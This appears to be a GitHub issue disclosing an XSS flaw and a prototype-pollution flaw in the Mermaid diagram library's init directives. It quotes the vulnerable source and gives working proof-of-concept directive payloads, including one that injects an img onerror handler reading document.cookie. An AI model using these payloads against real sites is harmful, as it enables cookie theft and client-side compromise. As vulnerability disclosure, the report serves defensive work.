-
-
Notifications
You must be signed in to change notification settings - Fork 8k
Description
XSS vulnerability
Vulnerability description
In version 8.6.0, Mermaid added a support of directives to add more control over styles(themes) applied to the diagrams.
Syntax for declaring the directive is %%{init: {<JSON_OBJECT>}}%%
Directives can be used to overwrite default theme properties like fontFamily or fontSize to the graph.
Behind the scenes, library takes JSON_OBJECT from directive and merges it with config object. Later that config is used to generate new CSS rules:
let userStyles = '';
// user provided theme CSS
if (cnf.themeCSS !== undefined) {
userStyles += `\n${cnf.themeCSS}`;
}
// user provided theme CSS
if (cnf.fontFamily !== undefined) {
userStyles += `\n:root { --mermaid-font-family: ${cnf.fontFamily}}`;
}
// user provided theme CSS
if (cnf.altFontFamily !== undefined) {
userStyles += `\n:root { --mermaid-alt-font-family: ${cnf.altFontFamily}}`;
}
Problem is that there is no sanitization of user-supplied values, which are added to style tag via innerHTML method afterwards:
const stylis = new Stylis();
const rules = stylis(`#${id}`, getStyles(graphType, userStyles, cnf.themeVariables));
const style1 = document.createElement('style');
style1.innerHTML = rules;
svg.insertBefore(style1, firstChild);
This leads to Cross-Site Scripting attack via following directive:
%%{init: { 'fontFamily': '\"></style><img src=x onerror=alert(document.cookie)>'} }%%
Steps to reproduce
Create mermaid diagram with following payload:
%%{init: { 'fontFamily': '\"></style><img src=x onerror=alert(document.cookie)>'} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
Prototype pollution vulnerability
Vulnerability description
In version 8.6.0, Mermaid added a support of directives to add more control over styles(themes) applied to the diagrams.
Syntax for declaring the directive is %%{init: {<JSON_OBJECT>}}%%
The issue is that directive JSON_OBJECT is lacking proper sanitization before merging with default config which means we can specify __proto__
attribute to overwrite Object prototype.
For example, if we use following payload, it will add attribute polluted
to every new object in the application:
%%{init: { '__proto__': {'polluted': 'asdf'}} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
This can break the app leading to client-side DOS or can be used to achieve XSS. In some rare cases it can even lead to Remote Code Execution.
Steps to reproduce
Open https://mermaid-js.github.io/mermaid-live-editor/#/edit/eyJjb2RlIjoiJSV7aW5pdDogeyAnX19wcm90b19fJzogeydwb2xsdXRlZCc6ICdhc2RmJ319IH0lJVxuc2VxdWVuY2VEaWFncmFtXG5BbGljZS0-PkJvYjogSGkgQm9iXG5Cb2ItPj5BbGljZTogSGkgQWxpY2VcbiIsIm1lcm1haWQiOnt9LCJ1cGRhdGVFZGl0b3IiOmZhbHNlfQ
Then open developer console in the browser and create a new object:
a={}
a.polluted
You will see that newly created object already has polluted
value.
Resources
You can learn more about this type of vulnerability here:
https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications